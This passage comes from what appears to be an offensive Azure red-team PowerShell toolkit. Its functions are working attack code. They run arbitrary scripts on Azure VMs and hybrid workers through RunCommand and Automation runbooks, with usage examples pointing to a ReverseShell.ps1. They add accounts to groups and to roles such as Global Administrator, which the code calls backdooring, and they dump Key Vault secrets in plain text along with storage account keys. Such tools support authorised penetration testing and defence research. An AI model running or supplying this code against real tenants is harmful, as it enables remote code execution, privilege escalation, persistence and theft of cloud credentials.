Specifies Runbook's name. 1818 | 1819 | .PARAMETER OutFile 1820 | Optional file name where to save retrieved source code. 1821 | 1822 | .PARAMETER AutomationAccountName 1823 | Azure Automation account name that contains target runbook. 1824 | 1825 | .PARAMETER ResourceGroupName 1826 | Azure Resource Group name that contains target Automation Account 1827 | 1828 | .PARAMETER SubscriptionId 1829 | Azure Subscrition ID that contains target Resource Group 1830 | 1831 | .EXAMPLE 1832 | Example 1: Will attempt to automatically find requested runbook and retrieve its code. 1833 | PS> Get-ARTAutomationRunbookCode -RunbookName MyLittleRunbook 1834 | #> 1835 | 1836 | [CmdletBinding()] 1837 | Param( 1838 | [Parameter(Mandatory=$True)] 1839 | [String] 1840 | $RunbookName, 1841 | 1842 | [Parameter(Mandatory=$False)] 1843 | [String] 1844 | $SubscriptionId = $null, 1845 | 1846 | [Parameter(Mandatory=$False)] 1847 | [String] 1848 | $AutomationAccountName = $null, 1849 | 1850 | [Parameter(Mandatory=$False)] 1851 | [String] 1852 | $ResourceGroupName = $null 1853 | ) 1854 | 1855 | try { 1856 | $EA = $ErrorActionPreference 1857 | $ErrorActionPreference = 'silentlycontinue' 1858 | 1859 | if(($AutomationAccount -eq $null -or $AutomationAccountName.Length -eq 0) -or ($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) -or ($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0)) { 1860 | Get-AzAutomationAccount | % { 1861 | $AutomationAccount = $_ 1862 | 1863 | Write-Verbose "Enumerating account $($AutomationAccount.AutomationAccountName) in resource group $($AutomationAccount.ResourceGroupName) ..." 1864 | 1865 | Get-AzAutomationRunbook -AutomationAccountName $AutomationAccount.AutomationAccountName -ResourceGroupName $AutomationAccount.ResourceGroupName | % { 1866 | $Runbook = $_ 1867 | 1868 | Write-Verbose "`tEnumerating runbook $($Runbook.Name) ..." 1869 | 1870 | if($_.Name -match $RunbookName) { 1871 | $AutomationAccountName = $AutomationAccount.AutomationAccountName 1872 | $ResourceGroupName = $AutomationAccount.ResourceGroupName 1873 | $SubscriptionId = $AutomationAccount.SubscriptionId 1874 | 1875 | Write-Host "[+] Found requested Runbook in account: $AutomationAccountName - Resource group: $ResourceGroupName" -ForegroundColor Green 1876 | break 1877 | } 1878 | } 1879 | 1880 | if(($SubscriptionId -ne $null -and $SubscriptionId.Length -gt 0) -and ($AutomationAccountName -ne $null -and $AutomationAccountName.Length -gt 0) -and ($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0)) { 1881 | break 1882 | } 1883 | } 1884 | } 1885 | 1886 | Write-Host "Runbook parameters:" 1887 | Write-Host "`t- RunbookName : $RunbookName" 1888 | Write-Host "`t- AutomationAccountName: $AutomationAccountName" 1889 | Write-Host "`t- ResourceGroupName : $ResourceGroupName" 1890 | Write-Host "`t- SubscriptionId : $SubscriptionId`n" 1891 | 1892 | if(($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) -or ($AutomationAccountName -eq $null -or $AutomationAccountName.Length -eq 0) -or ($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0)) { 1893 | Write-Host "[!] Runbook not found!" -ForegroundColor Red 1894 | Return 1895 | } 1896 | 1897 | Write-Verbose "Acquiring Azure access token from Connect-AzAccount..." 1898 | $AccessToken = Get-ARTAccessTokenAz -Resource https://management.azure.com 1899 | 1900 | if ($AccessToken -eq $null -or $AccessToken.Length -eq 0 ) { 1901 | throw "Could not acquire Access Token!" 1902 | } 1903 | 1904 | $URI = "https://management.azure.com/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.Automation/automationAccounts/$AutomationAccount/runbooks/$RunbookName/draft/content?api-version=2015-10-31" 1905 | 1906 | $out = Invoke-ARTGETRequest -Uri $URI -AccessToken $AccessToken 1907 | 1908 | if($out.Length -gt 0) { 1909 | if($OutFile -ne $null -and $OutFile.Length -gt 0) { 1910 | $out | Out-File $OutFile 1911 | 1912 | Write-Host "[+] Runbook's code written to file: $OutFile" -ForegroundColor Green 1913 | } 1914 | else { 1915 | Write-Host "============================================================`n" -ForegroundColor Magenta 1916 | 1917 | Write-Host $out 1918 | 1919 | Write-Host "`n============================================================`n" -ForegroundColor Magenta 1920 | } 1921 | } 1922 | else { 1923 | Write-Host "[-] Returned empty Runbook's code." -ForegroundColor Magenta 1924 | } 1925 | } 1926 | catch { 1927 | Write-Host "[!] Function failed!" -ForegroundColor Red 1928 | Throw 1929 | Return 1930 | } 1931 | finally { 1932 | $ErrorActionPreference = $EA 1933 | } 1934 | } 1935 | 1936 | Function Invoke-ARTAutomationRunbook { 1937 | <# 1938 | .SYNOPSIS 1939 | Invokes supplied Powershell script/command via Automation Runbook. 1940 | 1941 | .DESCRIPTION 1942 | Creates an Automation Runbook under specified Automation Account and against selected Worker Group. 1943 | That Runbook will contain Powershell commands to be executed on all the affected Azure VMs. 1944 | 1945 | .PARAMETER RunbookName 1946 | Specifies Runbook's name to create. 1947 | 1948 | .PARAMETER ScriptPath 1949 | Path to the Powershell script file. 1950 | 1951 | .PARAMETER Command 1952 | Command to be executed in Runbook. 1953 | 1954 | .PARAMETER RemoveAfter 1955 | Remove Runbook after running it. 1956 | 1957 | .PARAMETER AutomationAccountName 1958 | Target Azure Automation account name. 1959 | 1960 | .PARAMETER ResourceGroupName 1961 | Target Azure Resource Group name. 1962 | 1963 | .PARAMETER WorkergroupName 1964 | Target Azure Workgroup Name. 1965 | 1966 | .EXAMPLE 1967 | PS> Invoke-ARTAutomationRunbook -RunbookName MyLittleRunbook -ScriptPath .\ReverseShell.ps1 -Verbose 1968 | #> 1969 | 1970 | [CmdletBinding(DefaultParameterSetName = 'Auto')] 1971 | Param( 1972 | [Parameter(Mandatory=$True)] 1973 | [String] 1974 | $RunbookName, 1975 | 1976 | [String] 1977 | $ScriptPath = $null, 1978 | 1979 | [String] 1980 | $Command = $null, 1981 | 1982 | [Switch] 1983 | $RemoveAfter, 1984 | 1985 | [Parameter(Mandatory=$True, ParameterSetName = 'Manual')] 1986 | [String] 1987 | $AutomationAccountName = $null, 1988 | 1989 | [Parameter(Mandatory=$True, ParameterSetName = 'Manual')] 1990 | [String] 1991 | $ResourceGroupName = $null, 1992 | 1993 | [Parameter(Mandatory=$True, ParameterSetName = 'Manual')] 1994 | [String] 1995 | $WorkergroupName = $null 1996 | ) 1997 | 1998 | try { 1999 | $EA = $ErrorActionPreference 2000 | $ErrorActionPreference = 'silentlycontinue' 2001 | 2002 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 2003 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 2004 | Return 2005 | } 2006 | 2007 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 2008 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 2009 | Return 2010 | } 2011 | 2012 | $createdFile = $false 2013 | 2014 | if ($Command -ne $null -and $Command.Length -gt 0) { 2015 | $File = New-TemporaryFile 2016 | $ScriptPath = $File.FullName 2017 | Remove-Item $ScriptPath 2018 | $ScriptPath = $ScriptPath + ".ps1" 2019 | 2020 | Write-Verbose "Writing supplied commands to a temporary file..." 2021 | $Command | Out-File $ScriptPath 2022 | $createdFile = $true 2023 | } 2024 | 2025 | $AutomationAccount = Get-AzAutomationAccount 2026 | 2027 | Write-Host "`nStep 1. Get the role of a user on the Automation account" 2028 | $roles = (Get-AzRoleAssignment | ? { $_.Scope -like '*Microsoft.Automation*' } | ? { $_.RoleDefinitionName -match 'Contributor' -or $_.RoleDefinitionName -match 'Owner' }) 2029 | 2030 | if ($roles -eq $null -or $roles.Length -eq 0 ) { 2031 | Write-Warning "Did not find assigned Roles for the Azure Automation service. The principal may be unauthorized to import Runbooks!" 2032 | } 2033 | else { 2034 | $r = $roles[0].RoleDefinitionName 2035 | Write-Host "[+] Principal has $r rights over Azure Automation." 2036 | } 2037 | 2038 | if($PsCmdlet.ParameterSetName -eq "Auto") { 2039 | if ($roles -eq $null -or $roles.Length -eq 0 ) { 2040 | throw "Unable to automatically establish Automation Account Name and Resource Group Name. Pass them manually via parameters." 2041 | return 2042 | } 2043 | 2044 | $parts = $roles[0].Scope.Split('/') 2045 | 2046 | if($AutomationAccountName -eq $null -or $AutomationAccountName.Length -eq 0) { 2047 | $AutomationAccountName = $parts[8] 2048 | } 2049 | 2050 | if($AutomationAccountName -eq $null -or $ResourceGroupName.Length -eq 0) { 2051 | $ResourceGroupName = $parts[4] 2052 | } 2053 | } 2054 | 2055 | Write-Verbose "[.] Will target resource group: $ResourceGroupName and automation account: $AutomationAccountName" 2056 | 2057 | if($WorkergroupName -eq $null -or $WorkergroupName.Length -eq 0) { 2058 | Write-Host "`nStep 2. List hybrid workers" 2059 | $workergroup = Get-AzAutomationHybridWorkerGroup -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName 2060 | $Workergroup 2061 | 2062 | $WorkergroupName = $workergroup.Name 2063 | } 2064 | else { 2065 | Write-Host "`nStep 2. Will use hybrid worker group: $WorkergroupName" 2066 | } 2067 | 2068 | Write-Host "`nStep 3. Create a Powershell Runbook`n" 2069 | Import-AzAutomationRunbook -Name $RunbookName -Path $ScriptPath -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell -Force -Verbose 2070 | 2071 | Write-Host "`nStep 4. Publish the Runbook`n" 2072 | Publish-AzAutomationRunbook -RunbookName $RunbookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Verbose 2073 | 2074 | Write-Host "`nStep 5. Start the Runbook`n" 2075 | Start-AzAutomationRunbook -RunbookName $RunbookName -RunOn $WorkergroupName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Verbose 2076 | 2077 | if($RemoveAfter) { 2078 | Write-Host "`nStep 6. Removing the Runbook.`n" 2079 | Remove-AzAutomationRunbook -AutomationAccountName $AutomationAccountName -Name $RunbookName -ResourceGroupName $ResourceGroupName -Force 2080 | } 2081 | 2082 | if($createdFile) { 2083 | Remove-Item $ScriptPath 2084 | } 2085 | 2086 | Write-Host "Attack finished." 2087 | } 2088 | catch { 2089 | Write-Host "[!] Function failed!" -ForegroundColor Red 2090 | Throw 2091 | Return 2092 | } 2093 | finally { 2094 | $ErrorActionPreference = $EA 2095 | } 2096 | } 2097 | 2098 | Function Invoke-ARTRunCommand { 2099 | <# 2100 | .SYNOPSIS 2101 | Invokes supplied Powershell script/command on a controlled Azure VM. 2102 | 2103 | .DESCRIPTION 2104 | Abuses virtualMachines/runCommand permission against a specified Azure VM to run custom Powershell command. 2105 | 2106 | .PARAMETER VMName 2107 | Specifies Azure VM name to target. 2108 | 2109 | .PARAMETER ScriptPath 2110 | Path to the Powershell script file. 2111 | 2112 | .PARAMETER Command 2113 | Command to be executed in Azure VM. 2114 | 2115 | .PARAMETER ResourceGroupName 2116 | Target Azure Resource Group name. 2117 | 2118 | .EXAMPLE 2119 | PS> Invoke-ARTRunCommand -VMName MyVM1 -ScriptPath .\ReverseShell.ps1 -Verbose 2120 | #> 2121 | 2122 | [CmdletBinding()] 2123 | Param( 2124 | [Parameter(Mandatory=$True)] 2125 | [String] 2126 | $VMName, 2127 | 2128 | [String] 2129 | $ScriptPath = $null, 2130 | 2131 | [String] 2132 | $Command = $null, 2133 | 2134 | [Parameter(Mandatory=$False)] 2135 | [String] 2136 | $ResourceGroupName = $null 2137 | ) 2138 | 2139 | try { 2140 | $EA = $ErrorActionPreference 2141 | $ErrorActionPreference = 'silentlycontinue' 2142 | 2143 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 2144 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 2145 | Return 2146 | } 2147 | 2148 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 2149 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 2150 | Return 2151 | } 2152 | 2153 | $createdFile = $false 2154 | 2155 | if ($Command -ne $null -and $Command.Length -gt 0) { 2156 | $File = New-TemporaryFile 2157 | $ScriptPath = $File.FullName 2158 | Remove-Item $ScriptPath 2159 | $ScriptPath = $ScriptPath + ".ps1" 2160 | 2161 | Write-Verbose "Writing supplied commands to a temporary file..." 2162 | $Command | Out-File $ScriptPath 2163 | $createdFile = $true 2164 | } 2165 | 2166 | if($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) { 2167 | Write-Verbose "Searching for a specified VM..." 2168 | 2169 | Get-AzVM | % { 2170 | if($_.name -eq $VMName) { 2171 | $ResourceGroupName = $_.ResourceGroupName 2172 | Write-Verbose "Found Azure VM: $($_.Name) / $($_.ResourceGroupName)" 2173 | break 2174 | } 2175 | } 2176 | } 2177 | 2178 | Write-Host "[+] Running command on $($VMName) / $($ResourceGroupName) ..." 2179 | 2180 | Write-Host "==============================" 2181 | 2182 | Invoke-AzVMRunCommand -VMName $VMName -ResourceGroupName $ResourceGroupName -CommandId 'RunPowerShellScript' -ScriptPath $ScriptPath 2183 | 2184 | Write-Host "==============================" 2185 | 2186 | if($createdFile) { 2187 | Remove-Item $ScriptPath 2188 | } 2189 | 2190 | Write-Host "[+] Attack finished." -ForegroundColor Green 2191 | } 2192 | catch { 2193 | Write-Host "[!] Function failed!" -ForegroundColor Red 2194 | Throw 2195 | Return 2196 | } 2197 | finally { 2198 | $ErrorActionPreference = $EA 2199 | } 2200 | } 2201 | 2202 | 2203 | Function Add-ARTUserToGroup { 2204 | <# 2205 | .SYNOPSIS 2206 | Adds user to an Azure AD group. 2207 | 2208 | .DESCRIPTION 2209 | Adds a specified Azure AD User to the specified Azure AD Group. 2210 | 2211 | .PARAMETER Account 2212 | Specifies Account ID/DisplayName/UserPrincipalName that is to be added to the Group. 2213 | 2214 | .PARAMETER GroupName 2215 | Specifies target Group that is to be backdoored with new user. 2216 | 2217 | .EXAMPLE 2218 | PS> Add-ARTUserToGroup -Account myuser -GroupName "My Company Admins" 2219 | #> 2220 | 2221 | [CmdletBinding()] 2222 | Param( 2223 | [Parameter(Mandatory=$True)] 2224 | [String] 2225 | $Account, 2226 | 2227 | [Parameter(Mandatory=$True)] 2228 | [String] 2229 | $GroupName 2230 | ) 2231 | 2232 | try { 2233 | $EA = $ErrorActionPreference 2234 | $ErrorActionPreference = 'silentlycontinue' 2235 | 2236 | $User = Get-AzureADUser | ? { $_.ObjectId -eq $Account -or $_.DisplayName -eq $Account -or $_.UserPrincipalName -eq $Account } 2237 | 2238 | if ($User -eq $null -or $User.ObjectId -eq $null) { 2239 | Write-Error "Could not find target user with Account: $Account" 2240 | Return 2241 | } 2242 | 2243 | $Group = Get-AzureADGroup | ? { $_.ObjectId -eq $GroupName -or $_.DisplayName -eq $GroupName} 2244 | 2245 | if ($Group -eq $null -or $Group.ObjectId -eq $null) { 2246 | Write-Error "Could not find target group with name: $GroupName" 2247 | Return 2248 | } 2249 | 2250 | Add-AzureADGroupMember -ObjectId $Group.ObjectId -RefObjectId $User.ObjectId 2251 | 2252 | Write-Host "[+] Added user $($User.DisplayName) to Azure AD Group $($Group.DisplayName) ($($Group.ObjectId))" 2253 | } 2254 | catch { 2255 | Write-Host "[!] Function failed!" -ForegroundColor Red 2256 | Throw 2257 | Return 2258 | } 2259 | finally { 2260 | $ErrorActionPreference = $EA 2261 | } 2262 | } 2263 | 2264 | Function Get-ARTRoleAssignment { 2265 | <# 2266 | .SYNOPSIS 2267 | Displays Azure Role assignment on a currently authenticated user. 2268 | 2269 | .PARAMETER Scope 2270 | Optional parameter that specifies which Azure Resource IAM Access Policy is to be examined. 2271 | 2272 | .DESCRIPTION 2273 | Displays a bit easier to read representation of assigned Azure RBAC roles to the currently used Principal. 2274 | 2275 | .EXAMPLE 2276 | Example 1: Examine Roles Assigned on a current User 2277 | PS> Get-ARTRoleAssignment | Format-Table 2278 | 2279 | Example 2: Examine Roles Assigned on a specific Azure VM 2280 | PS> Get-ARTRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Compute/virtualMachines/ 2281 | #> 2282 | [CmdletBinding()] 2283 | Param( 2284 | [Parameter(Mandatory=$False)] 2285 | [String] 2286 | $Scope 2287 | ) 2288 | 2289 | try { 2290 | $EA = $ErrorActionPreference 2291 | $ErrorActionPreference = 'silentlycontinue' 2292 | 2293 | if($Scope -ne $null -and $Scope.Length -gt 0 ) { 2294 | 2295 | Write-Verbose "Pulling Azure RBAC Role Assignment on resource scoped to:`n`t$Scope`n" 2296 | $roles = Get-AzRoleAssignment -Scope $Scope 2297 | } 2298 | else { 2299 | $roles = Get-AzRoleAssignment 2300 | } 2301 | 2302 | $Coll = New-Object System.Collections.ArrayList 2303 | $roles | % { 2304 | $parts = $_.Scope.Split('/') 2305 | $scope = $parts[6..$parts.Length] -join '/' 2306 | 2307 | $obj = [PSCustomObject]@{ 2308 | DisplayName = $_.DisplayName 2309 | RoleDefinitionName= $_.RoleDefinitionName 2310 | Resource = $scope 2311 | ResourceGroup = $parts[4] 2312 | ObjectType = $_.ObjectType 2313 | SignInName = $_.SignInName 2314 | CanDelegate = $_.CanDelegate 2315 | ObjectId = $_.ObjectId 2316 | Scope = $_.Scope 2317 | } 2318 | 2319 | $null = $Coll.Add($obj) 2320 | } 2321 | 2322 | $Coll 2323 | } 2324 | catch { 2325 | Write-Host "[!] Function failed!" -ForegroundColor Red 2326 | Throw 2327 | Return 2328 | } 2329 | finally { 2330 | $ErrorActionPreference = $EA 2331 | } 2332 | } 2333 | 2334 | 2335 | 2336 | Function Add-ARTUserToRole { 2337 | <# 2338 | .SYNOPSIS 2339 | Assigns a Azure AD Role to the user. 2340 | 2341 | .DESCRIPTION 2342 | Adds a specified Azure AD User to the specified Azure AD Role. 2343 | 2344 | .PARAMETER Account 2345 | Specifies Account ID/DisplayName/UserPrincipalName that is to be added to the Role. 2346 | 2347 | .PARAMETER RoleName 2348 | Specifies target Role that is to be backdoored with new user. 2349 | 2350 | .EXAMPLE 2351 | PS> Add-ARTUserToRole -Account myuser -RoleName "Global Administrator" 2352 | #> 2353 | 2354 | [CmdletBinding()] 2355 | Param( 2356 | [Parameter(Mandatory=$True)] 2357 | [String] 2358 | $Account, 2359 | 2360 | [Parameter(Mandatory=$True)] 2361 | [String] 2362 | $RoleName 2363 | ) 2364 | 2365 | try { 2366 | $EA = $ErrorActionPreference 2367 | $ErrorActionPreference = 'silentlycontinue' 2368 | 2369 | $User = Get-AzureADUser | ? { $_.ObjectId -eq $Account -or $_.DisplayName -eq $Account -or $_.UserPrincipalName -eq $Account } 2370 | 2371 | if ($User -eq $null -or $User.ObjectId -eq $null) { 2372 | Write-Error "Could not find target user with Account: $Account" 2373 | Return 2374 | } 2375 | 2376 | $Role = Get-AzureADDirectoryRole | ? { $_.ObjectId -eq $RoleName -or $_.DisplayName -eq $RoleName} 2377 | 2378 | if ($Role -eq $null -or $Role.ObjectId -eq $null) { 2379 | Write-Error "Could not find target group with name: $RoleName" 2380 | Return 2381 | } 2382 | 2383 | Add-AzureADDirectoryRoleMember -ObjectId $Role.ObjectId -RefObjectId $User.ObjectId 2384 | 2385 | Write-Host "[+] Added user $($User.DisplayName) to Azure AD Role $($Role.DisplayName) ($($Role.ObjectId))" 2386 | } 2387 | catch { 2388 | Write-Host "[!] Function failed!" -ForegroundColor Red 2389 | Throw 2390 | Return 2391 | } 2392 | finally { 2393 | $ErrorActionPreference = $EA 2394 | } 2395 | } 2396 | 2397 | 2398 | Function Get-ARTKeyVaultSecrets { 2399 | <# 2400 | .SYNOPSIS 2401 | Displays all the available Key Vault secrets user can access. 2402 | 2403 | .DESCRIPTION 2404 | Lists all available Azure Key Vault secrets. 2405 | This cmdlet assumes that requesting user connected to the Azure AD with KeyVaultAccessToken 2406 | (scoped to https://vault.azure.net) and has "Key Vault Secrets User" role assigned (or equivalent). 2407 | 2408 | .EXAMPLE 2409 | PS> Get-ARTKeyVaultSecrets 2410 | #> 2411 | [CmdletBinding()] 2412 | Param( 2413 | ) 2414 | 2415 | try { 2416 | $EA = $ErrorActionPreference 2417 | $ErrorActionPreference = 'silentlycontinue' 2418 | 2419 | $Coll = New-Object System.Collections.ArrayList 2420 | 2421 | Get-AzKeyVault | % { 2422 | $VaultName = $_.VaultName 2423 | 2424 | try { 2425 | $secrets = Get-AzKeyVaultSecret -VaultName $VaultName -ErrorAction Stop 2426 | 2427 | $secrets | % { 2428 | $SecretName = $_.Name 2429 | 2430 | $value = Get-AzKeyVaultSecret -VaultName $VaultName -Name $SecretName -AsPlainText 2431 | 2432 | $obj = [PSCustomObject]@{ 2433 | VaultName = $VaultName 2434 | Name = $SecretName 2435 | Value = $value 2436 | Created = $_.Created 2437 | Updated = $_.Updated 2438 | Enabled = $_.Enabled 2439 | } 2440 | 2441 | $null = $Coll.Add($obj) 2442 | } 2443 | } 2444 | catch { 2445 | Write-Host "[!] Get-AzKeyVaultSecret -VaultName $($VaultName) failed:`n $_" -ForegroundColor Red 2446 | #Write-Error $Error[0].Exception.InnerException.StackTrace 2447 | 2448 | Write-Host "`n[!!!] Make sure your Access Token is scoped to https://vault.azure.net [!!!]`n" -ForegroundColor Red 2449 | Write-Host "Authenticate with:`n`tConnect-ART -AccessToken `$AccessToken -KeyVaultAccessToken `$KeyVaultToken`n" 2450 | } 2451 | } 2452 | 2453 | Return $Coll 2454 | } 2455 | catch { 2456 | Write-Host "[!] Function failed!" -ForegroundColor Red 2457 | Throw 2458 | Return 2459 | } 2460 | finally { 2461 | $ErrorActionPreference = $EA 2462 | } 2463 | } 2464 | 2465 | 2466 | Function Get-ARTStorageAccountKeys { 2467 | <# 2468 | .SYNOPSIS 2469 | Displays all the available Storage Account keys. 2470 | 2471 | .DESCRIPTION 2472 | Displays all the available Storage Account keys. 2473 | 2474 | .EXAMPLE 2475 | PS> Get-ARTStorageAccountKeys 2476 | #> 2477 | [CmdletBinding()] 2478 | Param( 2479 | ) 2480 | 2481 | try { 2482 | $EA = $ErrorActionPreference 2483 | $ErrorActionPreference = 'silentlycontinue' 2484 | 2485 | $Coll = New-Object System.Collections.ArrayList 2486 | 2487 | Get-AzStorageAccount | % { 2488 | $AccountName = $_.StorageAccountName 2489 | $ResourceGroupName = $_.ResourceGroupName 2490 | 2491 | try { 2492 | $keys = Get-AzStorageAccountKey -Name $AccountName -ResourceGroupName $ResourceGroupName -ErrorAction Stop 2493 | 2494 | $keys | % { 2495 | 2496 | $obj = [PSCustomObject]@{ 2497 | KeyName = $_.KeyName 2498 | ResourceGroupName = $ResourceGroupName 2499 | StorageAccountName = $AccountName 2500 | StorageAccountKey = $_.Value 2501 | Permissions = $_.Permissions 2502 | CreationTime = $_.CreationTime 2503 | } 2504 | 2505 | $null = $Coll.Add($obj) 2506 | } 2507 | } 2508 | catch { 2509 | Write-Host "[!] Get-ARTStorageAccountKeys -Name $($AccountName) failed:`n $_" -ForegroundColor Red 2510 | #Write-Error $Error[0].Exception.InnerException.StackTrace 2511 | } 2512 | } 2513 | 2514 | Return $Coll 2515 | } 2516 | catch { 2517 | Write-Host "[!] Function failed!" -ForegroundColor Red 2518 | Throw 2519 | Return 2520 | } 2521 | finally { 2522 | $ErrorActionPreference = $EA 2523 | } 2524 | } 2525 | 2526 | 2527 | Function Get-ARTAutomationCredentials { 2528 | <# 2529 | .SYNOPSIS 2530 | Displays all the automation accounts and their related credentials metadata (unable to pull values!). 2531 | 2532 | .DESCRIPTION 2533 | Lists all available automation account credentials (unable to pull values!). 2534 | 2535 | .PARAMETER AutomationAccountName 2536 | Azure Automation account name that contains target runbook. 2537 | 2538 | .PARAMETER ResourceGroupName 2539 | Azure Resource Group name that contains target Automation Account 2540 | 2541 | .PARAMETER SubscriptionId 2542 | Azure Subscrition ID that contains target Resource Group 2543 | 2544 | .EXAMPLE 2545 | PS> Get-ARTAutomationCredentials 2546 | #> 2547 | 2548 | [CmdletBinding()] 2549 | Param( 2550 | [Parameter(Mandatory=$False)] 2551 | [String] 2552 | $SubscriptionId = $null, 2553 | 2554 | [Parameter(Mandatory=$False)] 2555 | [String] 2556 | $AutomationAccountName = $null, 2557 | 2558 | [Parameter(Mandatory=$False)] 2559 | [String] 2560 | $ResourceGroupName = $null 2561 | ) 2562 | 2563 | try { 2564 | $EA = $ErrorActionPreference 2565 | $ErrorActionPreference = 'silentlycontinue' 2566 | 2567 | $Coll = New-Object System.Collections.ArrayList 2568 | 2569 | if(($AutomationAccount -eq $null -or $AutomationAccountName.Length -eq 0) -or ($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) -or ($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0)) { 2570 | Get-AzAutomationAccount | % { 2571 | $AutomationAccount = $_ 2572 | 2573 | Write-Verbose "Enumerating account $($AutomationAccount.AutomationAccountName) in resource group $($AutomationAccount.ResourceGroupName) ..." 2574 | 2575 | Get-AzAutomationCredential -AutomationAccountName $AutomationAccount.AutomationAccountName -ResourceGroupName $AutomationAccount.ResourceGroupName | % { 2576 | $Credential = $_ 2577 | 2578 | Write-Verbose "`tPulling credential $($Runbook.Name) ..." 2579 | 2580 | $obj = [PSCustomObject]@{ 2581 | Name = $_.Name 2582 | UserName = $_.UserName 2583 | ResourceGroupName = $_.ResourceGroupName 2584 | AutomationAccountName = $_.AutomationAccountName 2585 | CreationTime = $_.CreationTime 2586 | LastModifiedTime = $_.LastModifiedTime 2587 | Description = $_.Description 2588 | } 2589 | 2590 | $null = $Coll.Add($obj) 2591 | 2592 | } 2593 | 2594 | if(($SubscriptionId -ne $null -and $SubscriptionId.Length -gt 0) -and ($AutomationAccountName -ne $null -and $AutomationAccountName.Length -gt 0) -and ($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0)) { 2595 | break 2596 | } 2597 | } 2598 | } 2599 | 2600 | Return $Coll 2601 | } 2602 | catch { 2603 | Write-Host "[!] Function failed!" -ForegroundColor Red 2604 | Throw 2605 | Return 2606 | } 2607 | finally { 2608 | $ErrorActionPreference = $EA 2609 | } 2610 | } 2611 | 2612 | 2613 | Function Get-ARTADRoleAssignment { 2614 | <# 2615 | .SYNOPSIS 2616 | Displays Azure AD Role assignment. 2617 | 2618 | .DESCRIPTION 2619 | Displays Azure AD Role assignments on a current user or on all Azure AD users. 2620 | 2621 | .PARAMETER All 2622 | Display all Azure AD role assignments 2623 | 2624 | .EXAMPLE 2625 | Example 1: Get current user Azure AD Role Assignment 2626 | PS> Get-ARTADRoleAssignment 2627 | 2628 | Example 2: Get all users Azure AD Role Assignments 2629 | PS> Get-ARTADRoleAssignment -All 2630 | #> 2631 | 2632 | [CmdletBinding()] 2633 | Param( 2634 | [Parameter(Mandatory=$False)] 2635 | [Switch] 2636 | $All 2637 | ) 2638 | 2639 | try { 2640 | $EA = $ErrorActionPreference 2641 | $ErrorActionPreference = 'silentlycontinue' 2642 | 2643 | $Coll = New-Object System.Collections.ArrayList 2644 | $UserId = Get-ARTUserId 2645 | $count = 0 2646 | 2647 | Get-AzureADDirectoryRole | % { 2648 | Write-Verbose "Enumerating role `"$($_.DisplayName)`" ..." 2649 | $members = Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId 2650 | 2651 | $RoleName = $_.DisplayName 2652 | $RoleId = $_.ObjectId 2653 | 2654 | $members | % { 2655 | $obj = [PSCustomObject]@{ 2656 | DisplayName = $_.DisplayName 2657 | AssignedRoleName = $RoleName 2658 | ObjectType = $_.ObjectType 2659 | AccountEnabled = $_.AccountEnabled 2660 | ObjectId = $_.ObjectId 2661 | AssignedRoleId = $RoleId 2662 | } 2663 | 2664 | if ($All -or $_.ObjectId -eq $UserId) { 2665 | $null = $Coll.Add($obj) 2666 | $count += 1 2667 | } 2668 | } 2669 | } 2670 | 2671 | $Coll 2672 | 2673 | if($count -eq 0) { 2674 | Write-Host "[-] No Azure AD Role assignment found on current user." -ForegroundColor Red 2675 | Write-Warning "Try running Get-ARTADRoleAssignment -All to see all role assignments.`n" 2676 | } 2677 | } 2678 | catch { 2679 | Write-Host "[!] Function failed!" -ForegroundColor Red 2680 | Throw 2681 | Return 2682 | } 2683 | finally { 2684 | $ErrorActionPreference = $EA 2685 | } 2686 | } 2687 | 2688 | 2689 | Function Get-ARTADScopedRoleAssignment { 2690 | <# 2691 | .SYNOPSIS 2692 | Displays Azure AD Scoped Role assignment - those associated with Administrative Units 2693 | 2694 | .DESCRIPTION 2695 | Displays Azure AD Scoped Role assignments on a current user or on all Azure AD users, associated with Administrative Units 2696 | 2697 | .PARAMETER All 2698 | Display all Azure AD role assignments 2699 | 2700 | .EXAMPLE 2701 | Example 1: Get current user Azure AD Scoped Role Assignment 2702 | PS> Get-ARTADScopedRoleAssignment 2703 | 2704 | Example 2: Get all users Azure AD Scoped Role Assignments 2705 | PS> Get-ARTADScopedRoleAssignment -All 2706 | #> 2707 | 2708 | [CmdletBinding()] 2709 | Param( 2710 | [Parameter(Mandatory=$False)] 2711 | [Switch] 2712 | $All 2713 | ) 2714 | 2715 | try { 2716 | $EA = $ErrorActionPreference 2717 | $ErrorActionPreference = 'silentlycontinue' 2718 | 2719 | $Coll = New-Object System.Collections.ArrayList 2720 | $UserId = Get-ARTUserId 2721 | $count = 0 2722 | 2723 | Get-AzureADMSAdministrativeUnit | % { 2724 | Write-Verbose "Enumerating Scoped role `"$($_.DisplayName)`" ..." 2725 | $members = Get-AzureADMSScopedRoleMembership -Id $_.Id 2726 | 2727 | $RoleName = $_.DisplayName 2728 | $RoleId = $_.Id 2729 | $RoleDescription = $_.Description 2730 | 2731 | $members | % { 2732 | $obj = [PSCustomObject]@{ 2733 | 